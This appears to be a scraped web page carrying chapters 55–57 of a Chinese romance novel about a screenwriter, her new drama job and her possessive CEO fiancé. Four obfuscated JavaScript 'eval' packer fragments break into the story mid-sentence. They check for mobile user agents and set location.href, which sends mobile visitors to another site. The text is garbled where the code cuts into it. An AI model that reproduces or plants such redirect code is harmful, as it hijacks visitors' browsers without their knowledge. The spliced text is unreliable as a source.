RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222407|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怀疑是王董是故意把她放在身边,准备关键时刻加以利用。 他靠门站着,尽量降低自己的存在感,说道:“王董,星瀚娱乐的裴总和江女士到了。” 会客室内,一男一女坐在沙发上。 男人大概三十出头的年纪,身穿剪裁得体的深色西装,和王暄一样,戴着副眼镜,整个人看上去气质不凡。 一看到他们进门便起身相迎,脸上带着温和有礼的笑意。 江薇站在男人身侧。 她身着一件颇具设计感的米白色风衣,里面穿着熟褐色的V领针织衫,几缕碎发垂落在额前,十分优雅迷人。 李浪帆还记得江薇的长相,但奇怪的是,那个男人看上去也有些眼熟。 听他自我介绍说他叫裴睿成,是江薇公司的副总。 四人落座后,江薇和裴睿成表达了真挚的谢意。 基本都是王暄在与他们聊天,他确实很擅长交际。 可惜他不喜欢,李浪帆能感觉出来。 他的王暄也是这样,要不然也不会总是让穆潇替他参加酒会了。 不精于此道的李浪帆决心当个捧哏。 像设定好的程序一样,在别人夸她的时候,谦虚地表达:“哪里哪里”“没有没有”“应该的”。 王暄一天天的电话不断,他说了句“稍等”,便出门了。 李浪帆只能坐在那尴尬地喝水。 裴睿成却忽然开口,声音中带着笑意,“没想到能在这里再见到你。” “你是……”她更尴尬了。 “郑玉萍的儿子。” “哦——我就说你怎么有点眼熟,抱歉抱歉,十几年不见,我这记性越来越差了。”她这才想起来。 郑玉萍是李浪帆初一时候的数学老师兼班主任。不管是学习上还是在生活上,都给她提供过很大的帮助。 在剧情修正前,她第一份家教兼职还是郑玉萍介绍的,当年给王暄写的重点题型,也找郑玉萍参考修改过。 初二暑假,李浪帆到伊阳市参加物理竞赛,当时还在她家里借住过几天。 就是在那时,认识了放假回来的裴睿成。 但由于郑玉萍总是叫自己儿子“成成”,跟她说也是“你成成哥”,因此她一直不知道这个大她七岁的哥哥叫什么。 都说“近乡人情怯”,她想起自己连高中都没上完,此刻还真是不太好意思面对裴睿成。 不过裴睿成倒是没有提及过去,似乎是知道前几年那件事,只问了她近况如何,还说母亲一直很惦记她。 李浪帆眨眨眼,“挺好的,如果不是那天晚上惹到俱乐部的人,我也不会被王董救回来了。” 江薇笑道:“要不说好人有好报呢?” 裴睿成是个男人,他绝不相信身居高位的王暄,救下只有一面之缘的服务生,目的会有多么单纯。 “你目前在这里就职吗?”他看向李浪帆的眼睛。 她实事求是回答道:“没有,还在找工作。” 江薇提议道:“要不要考虑来娱乐圈发展?你这种身形和五官都明艳大气的类型,圈内挺少的。再加上有王董做靠山,演艺道路一定会很顺遂。” 李浪帆苦笑道:“我毫无演技,也不习惯露脸,只能做幕后工作,当个编剧估计还差不多。” 裴睿成沉吟片刻,“公司有个新剧,原定下个月初开机,但是找的编剧也牵涉进那件事,肯定是不能再用了。制片最近在找新编剧,工期比较急,你要不要试试?” “我只写过动画剧本,可以吗?”她有点跃跃欲试。 “古偶小甜剧,只要有CP感,能如期交稿,保证拍摄进度就行。现在有分集梗概,你能接受试稿吗?” 江薇心里直打突,觉得裴总敢给王暄的女人介绍工作,还让人家试稿,着实是勇气可嘉。 编剧这行这么忙,又是个急活儿,到时候影响得二人见不了面,说不定怎么被迁怒呢。 李浪帆一口答应下来,“可以呀!” “那我加你好友,把制片人推给你。” 王暄接完电话回来,就看到那个裴总正在加自己未婚妻的社交账号。 55. 醉酒 李浪帆眉开眼笑地加了裴睿成的好友。 王暄不愿在外人面前叫她下不来台,强压下心中不快,缓步走过去。 “诶,你知道吗?裴哥的妈妈竟然是我初中班主任!”她语气中带着几分惊喜,“我说他怎么看着这么眼熟。” “那真是巧了。”王暄虽然在笑,但笑意却不达眼底。 “郑老师前两年应该就退休了吧?我记得她以前很喜欢运动,还总是带我一起爬山,打羽毛球,现在身体一定很好。” “是的,她身体很好,前段时间加入了一个自行车队,现在和骑友们环青海湖去了。” “退休真好,我也想退休。”她羡慕地发出感慨。 江薇手指轻轻摩挲着茶杯的边缘,看不明白李浪帆到底是豁达还是天真。 一般女人若是得王暄这种地位的金主青睐,只怕自己色衰爱弛失了新鲜感,巴不得青春永驻好永远抓住男人的心。 可她倒好,明明二十多岁,正是大好年华,却在盼望退休。 江薇心中自然不信王暄对李浪帆是真的爱重。 她几日前还在Bluenight给人倒酒,若说早就被王暄看上那必不可能,位高权重的男人怎么会留她在那种地方。 匆匆一面,其中又能掺杂几厘真心?除了见色起意,自然不做他想。 可在这名利场中,最不缺的就是漂亮女人。 高高在上的豪门大佬和身份低微的俱乐部服务员,身份悬殊,云泥之别,想也知道不可能长久。 江薇那部虽说电影因为出品人之一的王忠良被抓,导致资金有缺口,暂时不能开机,但为了一部电影,差点被那老男人作践,她想想都觉得心有余悸。 当她后来得知李浪帆被王暄带走时,免不了替她担心,心想久居上位的男人肯定不好相与。 但既然已经没有转圜余地了,她便开始希望李浪帆以后能过得好点,至少能从王暄身上多得些好处。 这正是江薇提议让她进娱乐圈的原因。 管她演技好不好,圈内多少人都是资本包装出来的,资质平平也就不说了,好些人还不如李浪帆好看呢,趁着现在有人捧,混出名来,多挣点钱才是最要紧的。 江薇不着痕迹地看了一眼王暄,又借着喝茶来掩饰,打量着李浪帆。 然后就发现她手上,脖子上什么首饰都没戴,耳垂上连耳洞都没有,不由得暗骂资本家一毛不拔。 心想指望男人手指缝里漏的那点东西,哪有借势自己挣钱靠得住。就算以后宠爱不再,也好歹还有条出路,再不济还能有笔存款。 没有情爱尚能忍受,但没有钱却一天也过不下去。 她有心提醒李浪帆,可疏不间亲,这种话偏偏不便说出口。 到最后,只得化作心上一声叹息。 王暄虽然没表露出什么痕迹,但裴睿成还是能感觉到那份不耐。 他是从小县城一步一步打拼出来的,工作能力自不必说,揣摩人心的本事也不弱。 于是他又客套几句,适时提出告辞,留下谢礼,和江薇一起离开了。 江薇临走前,踌躇了片刻,还是回头对送他们到门口的李浪帆低声道:“做编剧真的又累钱又少,你考虑一下我的提议。” “你的熟人还真不少。”某人长腿交叠靠在沙发上,连话中都带着酸意。 李浪帆觉得好笑,“我都没认出来他还能叫熟人啊?” “江薇给你提议什么了?编剧又是怎么回事?”当时她声音虽小,王暄却也听得清楚。 李浪帆的分享欲向来很强,从前看着高冷是因为无人可说,一旦跟人熟了以后,她的话就又多又密。 在剧情修正前,哪怕她跟王暄天天在一起,也总有说不完的话,分享不完的事儿。 她三言两语复述了一遍,又说了自己的打算。 “你倒是柳暗花明了。”王暄微微挑眉。 李浪帆哼笑一声,“听起来你并不为我高兴的样子。” 却见王暄沉默地坐在那里,并没有答话。 其实他更想断了李浪帆所有的退路,让她不得不像菟丝花一样,只能依附他而生,让她不得不像笼中夜莺一样,只能为他歌唱。 他心里非常清楚,这种不堪的心思说出来,只会闹得两人不欢而散,若用手段强逼,还会把人推得更远。 李浪帆更像是悬崖峭壁边挺拔的树,狂风暴雨中振翅的鹰,不是谁因为一时喜爱,就可以放在掌心把玩的。 “你会很忙很累。”王暄找了个理由。 她耸耸肩,“那也没办法,你工作就不忙不累吗?” “这不一样。” “哦?”李浪帆捕捉到他的轻蔑之意,准备借题发挥,问道:“哪不一样?” 王暄话音刚落就意识到了不妥,现在听她这么问,立刻改口道:“没什么不一样,你要是想去,我绝对支持。” 李浪帆看他这么上道,也没了发作的机会,准备好的话全咽肚子里去了。 “我只写过动画片的剧本,能不能过稿还两说,试试再看吧。” 王暄虽然心里不想让她去工作,但又不想她万一碰壁了不开心,在这种纠结的心态下,还是找了一位业内优秀的编剧,托人家过来指点指点。 好在李浪帆已经有丰富的动画编剧经验,和影视剧的剧本整体区别不大,无非是前者画面描写偏多,人物对白相较电视略少而已。 再加上前辈的提点,她试稿的剧本很顺利就通过了。 项目工期比较急,李浪帆试稿过后,制片人就约见她了。 等晚上七点多到家的时候,王暄还没回来。 李浪帆打电话过去,那人只说晚上有应酬,回来会很晚,让她吃完饭早点休息。 晚上十二点多,王暄发来了消息:“睡了吗?” 她当时正在写初稿,看见电脑右下角头像亮起,立马就回复道:“没有。” 写了不到两行,敲门声就响起了。 不过这次王暄倒没等她答话,象征性的敲了两下后,便推门而入。 李浪帆回头看去,只见他头发擦得半干,晶莹的水珠沿着额鬓缓缓滑落。 他身上只松垮地穿着一件暖灰色浴袍,胸前露出了一大片蜜色肌肤,那水珠便顺着修长的脖颈一路滑下,在衣领上留下一片深色水痕。 “你喝酒了?” “一点。” 醉酒后的王暄倒是少了几分凌厉,那双平日里看上去颇为冰冷的双眸,此刻也染上了几分缱绻,看上去非常勾人。 李浪帆一时有些移不开眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260326|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳了稳心神才说:“喝完酒不能马上洗澡,小心血压下降,倒地昏厥。” 他走到桌前挡住光线,把人罩在阴影里,俯视着她,“关心我?” 她觉得好笑,反问道:“不然呢?” “在干什么?”王暄看了她电脑屏幕一眼,由于没戴眼镜,也看不清上面的字。 “写初稿。”李浪帆抬头看着他,又补充道:“后天就要进组,考虑到时间、季节还有内外景,先在北明拍第一阶段的戏,等到十月中下旬,就要去宁越那边的影视城拍了。” 他嗤笑一声,“跑的还挺远。” “比你全球到处飞近多了。” “下次带你去。”王暄揉揉她的发顶,声音听起来有点不开心,“公司第四季度会很忙,可能没时间过去看你。” 李浪帆安抚道:“没关系,你好好工作,我要是有空就回来找你。” “好乖。”他眼睛一下就亮了起来,随即又想到什么,闷闷道:“哦,对不起,你不喜欢听这个字,我不说了。” “还行,起码人还算清醒。”李浪帆笑着调侃他。 大约是酒精的作用,王暄连脖子也染上薄红,眼中爱意毫不克制地宣泄出来。 “好喜欢你。” 简单的四个字,让她无法自控地心跳加速。 “今天都谈的什么?”完全没意识到自己不经意间说出心声的某人,例行审问起来。 “制片人给我介绍了剧组的情况,重点强调了一下网络视听节目的内容审核通则,然后讨论了剧本,别的也没什么。” 李浪帆过快的心跳还未平复,人在激动的时候果然话会比较多。 “我写完初稿,还有第二稿,最后还要润色。进组以后,需要跟导演和制片主任等主创去报景,还要做剧本围读。” 王暄点点自己的胸口说:“剧组谁要是给你气受了,就告诉我!” 他似乎真的是喝多了,动作都带了几分稚气。 “怎么?要给我撑腰吗?”伴随着一声轻笑,她毫不客气地伸手戳上那紧实的胸肌。 王暄眼睛眯了眯,学着她说话的语气,“不然呢?” 李浪帆站起身,捧着他的脸,虔诚地念出她钟爱的诗句:“我如果爱你——绝不像攀援的凌霄花,借你的高枝炫耀自己……” 他微微俯身,二人的鼻尖便触碰到一起。 只听见沙哑低沉的声音缓缓道:“只用爱我就好了,不要说如果。” 灼热的呼吸喷洒在唇边和脖颈,勾起一阵难以言喻的酥麻与颤栗。 王暄将人打横抱起,牢牢压在床上。一手抓过她两只手腕按在头顶,另一只手捏着她下巴,带着不容抗拒的意味,毫不犹豫地吻了上去。 心底那团火和着醉意猛然烧起,舌尖撬开了她的牙关,每一个动作都充斥着无尽的纠缠与爱意。 第二天早上,李浪帆醒来后,发现王暄已经去公司了。 好在他还记得自己的承诺,昨晚两人没有再更进一步,不过他也没有回自己房间睡就是了。 李浪帆看向身侧,那里明显有另一个人睡过的痕迹。 困意消散过后,她忽然感觉到右手的中指上有什么东西。 手从被子中伸出来,映入眼帘的,是一枚闪闪发光的钻戒。 56. 戒指 这枚戒指造型虽然不复杂,但设计得神秘而又特别。 戒指主体为铂金材质,流畅的弧度极具力量感,像一条灵动的蛇,正蜿蜒缠绕于指间,看上去蓄势待发。 上面的碎钻像光滑的蛇磷,蛇首镶嵌着两颗略大的钻石,似双眼一般,正闪烁着冷冽而深邃的光芒。 李浪帆把戒指放在掌心细细端详,不得不感叹这做工和设计确实非同一般。 她拍下一张照片发给王暄,“这是怎么回事?” 蛇的造型很容易让她联想到世卫组织的LOGO,继而想到古希腊的医神,拿着戒指觉得有些好笑。 “哪个医学机构的周边?COS阿斯克勒庇俄斯的小道具?” 若说这有什么重要意义的话,哪有人悄不做声,趁睡着才给对方戴上的。 李浪帆怀疑这又是王暄控制欲的具体表现,应该和那个项圈作用差不多。 “戴上。”简短的消息回复过来,充满了命令的口吻。 一种“果然如此”的感觉浮上心头。 “项圈的青春mini版?”她想确认是不是。 那边对话框连着弹出三条:“?” 李浪帆仿佛已经看到王暄被气笑的模样。 “订婚戒指。”他解释道。 接着又发来一张照片,他的左手随意搭在办公桌上,一束光线透过,骨节分明的手指上,同款钻戒熠熠生辉。 其中的意思不言而喻:如果是那种用意,我不会给自己也戴上。 随后他又发来一条消息:“开会,晚上回来再跟你说。” 她回忆起剧情修正前,王暄也买过对戒,但买回来后两人只戴了半天,后来都觉得不习惯,就一起取下放盒子里了。 李浪帆又拿着那枚戒指端详了一番,目光变得柔和,唇角也染上了笑意,决定这次戴久一点。 上午正在写剧本的时候,工作群通知,下午要去开会。 这部戏工作人员不多,成本也不高。 剧组在影视城附近的小区租了个独栋别墅,环境十分清幽,近期幕后工作人员办公都在这里。 这部戏成本不高,幕后职员也不是很多。 李浪帆今天才知道,总制片人只是挂名的出品人,她上次见的实际上是剧组的执行制片人和制片主任,制片主任还兼着统筹的工作。 导演本人是摄像出身,执行导演、现场副导演和服化道副导演三个都是中年男人。 在李浪帆看来,他们几个的长相其实差不多,她得认真分辨每个人外貌特点,才能确保以后不会认错。 服装、化妆和道具组各来了三个人,美术组是三男一女。 女生就坐在李浪帆右手边,叫叶瑶,大概二十六、七岁的样子。穿着一件蓝、白、灰三色卫衣,下面是一条浅蓝色的牛仔裤。 她倒是很好认。 李浪帆又想起沈溪云以前曾经吐槽过,说她第一次见面的时候没认清楚人,每次都把楼上分局一个姓贾的局长叫李局,就这么着叫了半年多,后来才知道人家不是李局。 光是想想就觉得尴尬,她赶紧又环视了一圈,默默把他们的特征和刚才介绍的身份、姓名又对照了一遍。 这里除了她是后来的,剩下所有人都已经认识,并且一起工作过一阵了。 开完会后,除了制片和导演,其他工作人员都分了房间。 两人一屋,在去宁越影视城拍戏之前,大家都要在这边工作、住宿。 编剧就李浪帆一个,她和叶瑶被分到一起,成为了室友。 李浪帆问了她不少剧组工作的注意事项。 叶瑶看着一副冷冰冰的样子,但人很热情,知道她是第一次进组后,讲了许多要注意的细节。 而且她也是A大毕业的,两人算是跨时空校友了,李浪帆对她更添了一份好感。 叶瑶走到桌边,从背包里掏出了电脑、数位板、键盘、鼠标、支架等一堆东西。 李浪帆的东西要比她少很多。 正在收拾时,叶瑶忽然问道:“前几天有个新闻你知道吗?一群社会名流,背地里搞暴力、毒.品、性.侵,竟然还衍生出产业链了。” “嗯,我知道。” 她看了看关上的房门,声音放低了一点,“这事儿也牵涉到了圈内的一些人,前任编剧就是因为这个被出品方换掉了。” “对对,我听说了。”李浪帆连连点头,心想:“说起来这事儿还是我举报的。” 叶瑶叮嘱道:“你工作的时候注意点,剧组有两个人跟原先编剧关系不错。你现在顶替了他的位置,小心被迁怒。” “好,我知道了,谢谢。” 李浪帆心想她冒着得罪人的风险说这种话,肯定不是无的放矢,大概以前跟的组里遇到过这类事情,或者就是有人确实私下表示过对她有意见。 然后回头对李浪帆说:“我晚上不在这住,就午休的时候躺会儿。你东西多的话,可以把我那个柜子也占了。” “我晚上回家,也不住这。” 叶瑶下意识看了一眼她手上的戒指,“回家挺好,住在这感觉工作和生活都分不开了。” 下午五点多的时候,李浪帆接到星瀚娱乐的电话,让她过去签合同。 在她准备出门前,叶瑶突然想起来什么。 “你签合同的时候看着点,听别的编剧说,有的公司会在合同里写乙方如果违反条款就要退钱或者赔款。” 李浪帆确实不了解编剧合同会有哪些坑,闻言点点头,心想套路真是多啊! 叶瑶又补充道:“最好找个了解的圈内人问问,我也不是特别清楚。” 快到星瀚娱乐的时候,她收到了沈溪云的回复。 “没关系,你放心大胆地签。既然他们总裁知道你跟王董的关系,公司哪来的勇气给你挖坑?” 李浪帆一时间没想到王暄这层,现在经她一提醒,才意识到这点。 对面发来的语音充满朝气,“加油呀!希望我辞职前能看到严老师演你写的剧!” “想好要辞了吗?” “反正不想当艺人助理了,最近真的是越干越烦。卡着截止日期报了名,但是只有一个三不限岗,还是边疆的一个邮政管理局,报了两万七千多人!”她说到后面声调都变高了。 李浪帆安慰道:“没事儿,先考个练练手,明年报省考。” “我户籍不在这,明年看看有没有能报的。”提到户籍,沈溪云有一丝怅然。 多年在外打拼,她总觉得自己始终是这座城市的过客,像浮萍一般,根本无法扎根在这里。 这么多天她深思熟虑过,她和严晏恐怕也只是彼此生命中的过客。十几年来关系都没有更进一步,再执着下去,实在是没什么必要了。 李浪帆点开视频网站,一口气推过去四个账号,然后补充道:“第一个看他的资料分析、数量关系和判断推理。第二个看言语理解。下面那个是讲常识的,时政也看他。最后一个是申论。” 这些都是沈溪云以前听的课,当初学习的时候,经常截图给李浪帆吐槽,说应该扣了出题人的养老金。 以至于她已经完全记住这些截图上面的水印了。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299877|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!我闲下来就看!”沈溪云想了想,特意强调:“不过,你先替我保密哦。” “没问题!” 合同倒是没什么霸王条款。 编剧费按照单集费用乘以集数来算,六集一个单位分阶段付款,李浪帆觉得可以接受,就痛快签字了。 等她到家,吃完晚饭又洗完澡,王暄还是没回来。 又过了两小时,房门终于被敲响。 他走进来,随手将西装外套和领带扔在沙发上,又松开了衬衫的两颗扣子。 “今天都去哪了?”其实王暄心如明镜,但偏要听她自己说。 李浪帆抬头,对上他深邃的目光,除了沈溪云的事情,剩下的事无巨细都说了。 王暄听完,揉揉她头发,“你明早去车库看看,喜欢哪辆车就挑走,都不喜欢咱们再换。以后让小翟负责每天接送你。” “我自己开车去吧?”她不太好意思堂而皇之使唤王暄的人,“当初驾照还是咱俩一起考的。” “不可以。你一个人我不放心,让小翟跟着。” “行吧。” 王暄看她无意识地转着手上的戒指,似笑非笑地问道:“戒指不喜欢吗?早上那么说,嗯?” 她理直气壮地控诉道:“你什么也不说就偷偷给我戴上,所以不能怪我冤枉你。” “你想听我说什么?”王暄微眯起眼睛。 “说‘我爱你’。” 说完这句话,李浪帆的双眼一眨不眨地盯着他,脸上带着狡黠的笑意,不知是真的想听,还是在挑衅。 王暄没有说,只是挑眉反问:“那你爱我吗?” 李浪帆坐直了身体,认真地凝视着他,坚定回答道:“如果‘你’是‘你’的话,那么我确信,我爱你。” “很好。”只听低沉的声音说道:“‘我’当然是‘我’。” 王暄直勾勾地盯着她,眼中充满了汹涌而热烈的爱欲。 他伸手描摹着眼前人的眉眼、鼻梁与双唇,蛊惑着,试图拉她一起坠入深海。 “这么晚了你不回去睡吗?” 李浪帆垂下眼睛,试图控制住自己脸上升腾而起的热意,手抵着他的胸膛,不让人压过来。 “我不能在这里睡?怎么?害怕?”王暄轻笑一声,“我说过会等你愿意,你不相信?” 李浪帆想起他刚刚看自己的眼神,还有昨晚那简直要把人拆吃入腹的吻,就觉得这承诺可能不大靠得住。 “你还说回来给我画画呢!也没见兑现不是?”她努力让自己的声音听起来充满镇定,急中生智想转移他的注意力。 王暄闻言,眼神一闪,随即笑道:“好啊,我现在就给你画。” 他从书房翻出了多年前的素描本,没找到铅笔,但是找到一支M尖钢笔,还有一瓶他无聊时买的普兰色墨水。 等拿到李浪帆屋里,翻开本子的瞬间,就连呼吸都停滞了片刻。 他微微蹙眉,眼中闪过一丝茫然,眼前赫然是一副全景竖构图的人物画。 画中的长发女人支着头侧坐在那里,指间还夹了一支笔,左手端着一个茶杯。她身上穿着一件圆领毛衣,脚上是一双毛绒拖鞋。 身旁的桌子上,摆着盏老式台灯,还有一个摊开的本子。 但奇怪的是,女人却没有五官。 王暄带着震惊的眼神,看向李浪帆。 “怎么了?”她凑上前去看。 随后瞠目结舌道:“这不是我吗?你什么时候画的?” 这幅画,除了没有五官,剩下和王暄当年在窑洞中给她画的那张一模一样。 57. 初次 李浪帆原以为由于王暄多年不动笔,以至于不会画人头像,但细看之下,发现不是一开始就没有画,而是擦掉了。 纸上留下反反复复修改的痕迹,完全可以窥见他作画时大约又是一副皱眉不满的神色,最后干脆连侧脸的轮廓也一并抹去。 王暄目不转睛盯着这画,即便什么人物特征都没有,但他仍然非常确定,这就是李浪帆。 或者说,他当初提笔时想画的,就是李浪帆。 画中人却走入了现实,此刻双臂正环在他肩上,声音中藏着调侃与笑意,追问道:“什么时候画的?不敢回答么?” 李浪帆心想:“我前几天讲过,那年冬天他在窑洞里,为我画过一幅画。兴许就是听了这件事,所以才被勾起提笔的兴致。” 但是……看他刚才的反应又不像,他似乎自己都不记得还有这幅画的存在了。 王暄神色复杂地看着她,目光闪烁,手指下意识揉搓着页角,本子不到片刻便打卷起毛。 他迟疑了片刻才说:“遇见你之前。” 李浪帆眼中的揶揄瞬间被惊讶所替代,暗自感慨两人的相识或许确实沾染上了宿命的色彩。 她轻轻握住王暄的手,救下那张正被蹂躏着的,未完成的画作。 “很早以前,我做过一个梦……”王暄有些难以启齿,但又不想像小女生那般扭捏,还是说了出来。 “在昏暗的窑洞里,我看见有个穿灰色毛衣的女孩儿坐在木床上……” 李浪帆陷入回忆,开始思索自己那天的穿着打扮。 可那毕竟已经是七、八年前的事了,她实在回忆不起这些细节。只记得王暄曾经的画上,毛衣处确实薄薄地用炭笔涂了一层底色。 “我看不清她的脸,可莫名就觉得这个人看上去十分恬静。我沉默地站在那里,耳边尽是火燃烧的声音,和雪落下的声音……” 王暄声音柔和,出神地讲述着那个沉醉迷离的梦。 “她转过头来,四下一片混沌,只有温柔的眼神刻进我心里。我不受控制朝她走去,想问问她叫什么名字。” “现在你知道了。”李浪帆的心像是被轻轻触碰,泛起了层层涟漪。 “刚踏出一步,她就在我眼前消失了。世界变得扭曲,我忽然置身于荒郊野岭中,旁边是破旧的厂房,到处是煤渣,我拿着铁皮手电筒,茫然无措向前走着……” 王暄放下素描本,紧紧拦住李浪帆的腰,手指略微有些颤抖。 “我确信自己在叫一个人的名字,但又发不出声音,整个世界一片死寂。天边流动着起伏的丘陵,脚下踩过无数破碎的繁星。” “你像个诗人。”李浪帆轻笑着打趣他,打破了凝重的氛围,“要么说是做梦呢,拿个破手电还能看到天边。” “我就一直走,一直走,手电筒的光线越来越暗,再到最后,什么都看不见……” 王暄深邃的眼眸中翻涌着无比危险的情绪,“但我现在找到你了。” 李浪帆抬头,与他目光相撞,心中顿时警铃大作,连忙松开手,慌乱道:“这个梦你以前跟我讲过,你被惊醒后,就看见我正站在门口,不停地哭呢!” 原想借由沉痛往事转移他的注意力,但不料王暄并不吃这套,而且还更来劲了。 他眼中闪过玩味的笑意,指尖轻轻滑过她的唇瓣,逗弄道:“你这么一说,我倒真想看看,你哭起来会是个什么模样。” 李浪帆听出了他的言外之意,脸颊绯红,整颗心怦怦乱跳。 可偏偏剧情修正前的那个王暄也有这般恶趣味,在情.事中掌控欲极强,不把她弄到哭着求饶,绝不肯停手。 “请你正经点!谢谢!”她瞪大眼睛边说边挣扎着往后退,却被一把捞了回来。 王暄看着她惊慌失措,却偏要强装镇定的样子,脑海中忍不住产生了欺负人的念头,“如果这双倔强的眼睛盈满泪水,想必定是一副动人的景色。” 他语带戏谑问道:“紧张成这个样子,你是第一次么?” 李浪帆脱口而出:“怎么可能!咱俩一百次恐怕都不止了。” 她眼睛一转,反问道:“看你这游刃有余的样子,难道你不是?啊对!你都二十六了!在这个世界说不定已经跟谁……是吧?别碰我啊!” “你用不着故意说这种话。”王暄被她三言两语扣下一口大锅,又好气又好笑,“我再次重申,在你之前我没有喜欢过任何人,也没有跟任何人做过。” “谁管你这些……”李浪帆并不怀疑他这番话,只是闻言有些不好意思。 王暄拿起放在手边的素描本,寥寥几笔便把五官和脸部轮廓勾勒出来。 虽然用钢笔添在铅笔画上略微有些突兀,但人物的神韵却无可挑剔。 他低头,轻轻地吻上了李浪帆的眉眼、鼻梁、双唇,再缓缓滑向她的脖颈。 直到把人撩拨到动情,却又可恶地抽身而退。 他在右下角写上名字和日期,利落地撕下来,拉过李浪帆的手,温柔地递过去。 “我会等你心甘情愿的那一天。” 随着门“咔哒”一声合上,室内再次恢复了宁静。 只留下李浪帆独坐在这夜色里,微湿的指尖捏着那张画,失神地望着他遗落在沙发上的西服和领带,心中涌动着说不清道不明的情感。 月光透过窗户,斜照在她小腿上,恍惚间竟觉得有些孤寂与冰冷。 因为睡前的一番话,她当晚陷入了旖旎的梦境。 那是他们读大二的时候。 李浪帆为了加创新学分,和班上几个同学参加大创,拿到了国家级立项。 本来都已经和王暄说好,等十一的时候一起去敦煌玩,结果同学那部分没完成,她只能留下帮忙赶进度。 为了赔罪,这天下课后还专门买了束玫瑰送给他。 王暄本来非常高兴,但听完事情原委,又觉得这花真是棘手。 他眉头微蹙,眼神中闪过一丝幽暗的情绪,半开玩笑地问道:“你之前还说看见他就烦,现在要为了野男人的工作进度,来放我鸽子?” 她听出了话里的醋意,心中暗自发笑,“哎呀,此一时彼一时,再做不完真来不及了,而且胡源也没我之前想的那么废物。” “写汉朝人读《弟子规》,说中国古代没有彩色画,要把城门上写‘陕西’,还有什么来着?这可都是他干的事,还是你告诉我的。” 王暄冷笑一声,“这叫没有那么废物?” 李浪帆手搭在他肩上,笑得腰都直不起来,“别说了,不管过去多久,我每次想起来都能笑半天。他现在没有那么弱智了,真的。” “果然人都是善变的。”王暄微微摇头,“要不是知道你有厌蠢症,我真的怀疑……” “啊?”李浪帆忙不迭的打断他,惊讶反问:“不是吧!你在胡乱怀疑什么?!” “我有时候总忍不住会想,好在我们相识于你阅历还不丰富的时候,要不然我这样的人,怎么能入你的眼。” 李浪帆没想到能从他口中听到这种自卑的话,一时间目瞪口呆,大为震撼。 王暄情绪低落,叹了口气,说道:“世界远不止中州一中那点儿大小,以后遇到更好的人,你会不会后悔选择我呢?” 李浪帆哑然失笑,点点他胸口,“和他比?你有意思吗?茶言茶语少说点吧!” 她收敛起嬉笑的神色,郑重其事说道:“就像苏格拉底让弟子去捡麦穗的故事一样,你就是我眼中最大、最饱满,要带向终点的那一个。” 窗外夕阳缓缓下沉,天际渐渐染上了一抹温柔的橘红。 王暄的脸颊似乎也被这晚霞染红了。 “或许你不相信永恒,我也不敢妄言永恒。但是至少此时此刻,我可以明确地告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327775|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,就算把所有选择都摆在我面前,你依然是我的最佳答案。” 下一瞬,玫瑰跌落在脚边,她被王暄紧紧拥入怀中。 这下,李浪帆甚至都不用伸手去摸他颈间脉搏,单从两人紧贴的胸膛上,就能明显感觉到他心如擂鼓。 王暄激动到连呼吸都变得急促起来,细长的睫毛轻轻颤动着,再也不复往日对一切都游刃有余的模样。 她抬头,眼中闪烁着深沉的爱意,轻声问道:“这么感动吗?” 王暄的笑中掺杂了许多她看不懂的情感,“嗯,强忍着没有哭呢!” 李浪帆想到他小时候的事,忽然有些明白这份激动从何而来了,心疼与爱意交织,温柔地踮起脚尖,在他右脸上烙下一吻。 “只是这样吗?” 他的左脸也收获了一个吻。 “应该亲中间。”王暄无奈地看着李浪帆,眼底却尽是藏不住的笑意。 她装作勉为其难地样子说道:“闭眼。” 温热的吻落在他额头。 王暄睁开眼看到她狡黠的目光,霎时便气笑了,毫不犹豫地丢开眼镜,把人按在沙发上狠狠吻了过去。 这个吻又凶又急,像风暴中的云层翻滚不息。侵略性和占有欲瞬间倾泻而出,他强硬地撬开她的牙关,狂热地、发疯般地开始攻城略地。 直到听见一声吃痛的闷哼,他才堪堪将那份暴虐情绪压抑在心底,转而以近乎虔诚的姿态舔舐起她的唇。 李浪帆双眉微蹙,眸中闪烁着潋潋波光,鼻尖渗出薄汗,薄唇红肿不堪,过了许久才平复下呼吸。 王暄看着唇瓣上留下的牙印,心下有些懊悔的同时,却更想把她咬出血来。 他被自己这想法吓了一跳。 